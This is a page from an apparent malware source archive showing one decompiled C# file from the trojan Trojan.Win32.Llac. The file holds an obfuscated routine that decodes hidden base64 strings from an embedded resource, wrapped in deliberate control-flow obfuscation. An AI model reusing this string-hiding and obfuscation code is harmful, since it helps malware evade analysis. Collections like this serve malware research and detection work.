MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336/_0001/_0003.cs
2022-08-18 06:28:56 -05:00

209 lines
5.0 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null
// MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336.exe
using \u0001;
using \u0003;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
namespace \u0001
{
internal class \u0003
{
[NonSerialized]
internal static \u0001.\u0001 \u0001;
private static string \u0001;
private static string \u0002;
private static byte[] \u0001;
private static Hashtable \u0001;
private static bool \u0001;
private static int \u0001;
public static string \u0002([In] int obj0)
{
int index1;
int num1;
string str1;
do
{
obj0 -= \u0001.\u0003.\u0001;
label_1:
if (\u0001.\u0003.\u0001)
{
str1 = (string) \u0001.\u0003.\u0001[(object) obj0];
switch (str1)
{
case null:
break;
default:
goto label_23;
}
}
if (true)
{
int num2 = obj0;
byte[] numArray = \u0001.\u0003.\u0001;
int index2 = num2;
index1 = index2 + 1;
num1 = (int) numArray[index2];
if ((num1 & 128) != 0)
{
if ((num1 & 64) != 0)
{
if (false)
goto label_1;
else
goto label_13;
}
else
goto label_9;
}
}
else
goto label_13;
}
while (false);
int count = num1;
if (count == 0)
return string.Empty;
goto label_18;
label_9:
int num3 = num1 & 63;
int num4;
int num5 = num4 = 8;
int num6 = num3;
label_10:
if (num4 != 0)
{
count = (num6 << num5) + (int) \u0001.\u0003.\u0001[index1++];
goto label_18;
}
else
goto label_16;
label_13:
num6 = (num1 & 31) << 24;
num5 = (int) \u0001.\u0003.\u0001[index1++];
num4 = 0;
int num7;
int num8;
if (num4 == 0)
{
if (num4 == 0)
{
num5 <<= 16;
}
else
{
num8 = num5;
num7 = num6;
goto label_17;
}
}
else
goto label_10;
label_16:
num7 = num6 + num5;
num8 = (int) \u0001.\u0003.\u0001[index1++];
label_17:
int num9 = num8 << 8;
count = num7 + num9 + (int) \u0001.\u0003.\u0001[index1++];
label_18:
try
{
byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0001.\u0003.\u0001, index1, count));
string str2 = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length));
if (\u0001.\u0003.\u0001)
{
try
{
\u0001.\u0003.\u0001.Add((object) obj0, (object) str2);
}
catch
{
}
}
return str2;
}
catch
{
return (string) null;
}
label_23:
return str1;
}
static \u0003()
{
\u0002.\u0002(typeof (\u0001.\u0003));
label_1:
\u0001.\u0003.\u0001 = "1";
label_2:
if (true)
{
\u0001.\u0003.\u0002 = "133";
\u0001.\u0003.\u0001 = (byte[]) null;
do
{
if (true)
{
\u0001.\u0003.\u0001 = (Hashtable) null;
\u0001.\u0003.\u0001 = false;
\u0001.\u0003.\u0001 = 0;
if (!(\u0001.\u0003.\u0001 == "1"))
goto label_8;
}
else
goto label_2;
}
while (false);
\u0001.\u0003.\u0001 = true;
\u0001.\u0003.\u0001 = new Hashtable();
label_8:
\u0001.\u0003.\u0001 = Convert.ToInt32(\u0001.\u0003.\u0002);
Assembly executingAssembly = Assembly.GetExecutingAssembly();
Assembly assembly;
if (true)
assembly = executingAssembly;
Stream manifestResourceStream = assembly.GetManifestResourceStream("{b6caf90e-24aa-429e-af0c-6337f759d114}");
try
{
int int32 = Convert.ToInt32(manifestResourceStream.Length);
int length = int32;
byte[] buffer;
while (true)
{
if (true)
{
buffer = new byte[(int) checked ((uint) length)];
length = manifestResourceStream.Read(buffer, 0, int32);
break;
}
}
\u0001.\u0003.\u0001 = \u0002.\u0002(buffer);
manifestResourceStream.Close();
}
finally
{
while (manifestResourceStream != null)
{
if (true)
{
manifestResourceStream.Dispose();
break;
}
}
}
}
else
goto label_1;
}
}
}